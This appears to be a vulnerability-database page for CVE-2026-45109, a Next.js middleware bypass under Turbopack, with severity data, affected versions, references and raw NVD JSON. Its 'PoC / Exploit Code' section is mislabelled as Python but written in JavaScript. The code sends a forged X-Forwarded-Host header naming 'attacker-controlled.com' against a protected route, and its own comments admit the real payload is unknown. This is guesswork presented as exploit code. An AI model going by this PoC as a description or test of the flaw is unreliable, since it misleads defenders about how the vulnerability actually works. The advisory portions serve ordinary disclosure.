CVE-2026-45109

Description

Next.js is a React framework for building full-stack web applications. From 15.2.0 to before 15.5.18 and 16.2.6, it was found that the fix addressing CVE-2026-44575 did not apply to middleware.ts with Turbopack. This vulnerability is fixed in 15.5.18 and 16.2.6.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE

Next.js >= 15.2.0, < 15.5.18

Next.js >= 16.0.0, < 16.2.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Conceptual PoC for CVE-2026-45109
// Demonstrates a potential bypass of middleware protection in Next.js with Turbopack.

const axios = require('axios');

async function checkVulnerability(targetUrl) {
    try {
        // The specific payload would depend on the nature of CVE-2026-44575,
        // which typically involves path traversal or header manipulation.
        const response = await axios.get(targetUrl, {
            headers: {
                // Malicious headers designed to bypass middleware logic
                'X-Forwarded-Host': 'attacker-controlled.com'
            }
        });

        // If the response contains sensitive data that should be blocked,
        // the middleware bypass is confirmed.
        if (response.status === 200 && response.data.includes('admin_flag')) {
            console.log('[+] Vulnerability Confirmed: Middleware bypassed on Turbopack.');
        } else {
            console.log('[-] Target appears patched or not vulnerable.');
        }
    } catch (error) {
        console.error('Request failed:', error.message);
    }
}

// Usage: checkVulnerability('http://localhost:3000/api/protected');
checkVulnerability('http://localhost:3000/api/protected');

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45109
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45109
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45109/
[4] VulDB https://vuldb.com/cve/CVE-2026-45109
[5] https://github.com/vercel/next.js/security/advisories/GHSA-26hh-7cqf-hhc6

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45109", "sourceIdentifier": "[email protected]", "published": "2026-05-13T18:16:19.283", "lastModified": "2026-05-14T14:14:06.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Next.js is a React framework for building full-stack web applications. From 15.2.0 to before 15.5.18 and 16.2.6, it was found that the fix addressing CVE-2026-44575 did not apply to middleware.ts with Turbopack. This vulnerability is fixed in 15.5.18 and 16.2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.2.0", "versionEndExcluding": "15.5.18", "matchCriteriaId": "555F170D-C56B-4A2E-9684-67E8F2AFD5FA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.2.6", "matchCriteriaId": "FA3ADAD4-2BBF-4905-9276-A24A758EB4C8"}]}]}], "references": [{"url": "https://github.com/vercel/next.js/security/advisories/GHSA-26hh-7cqf-hhc6", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}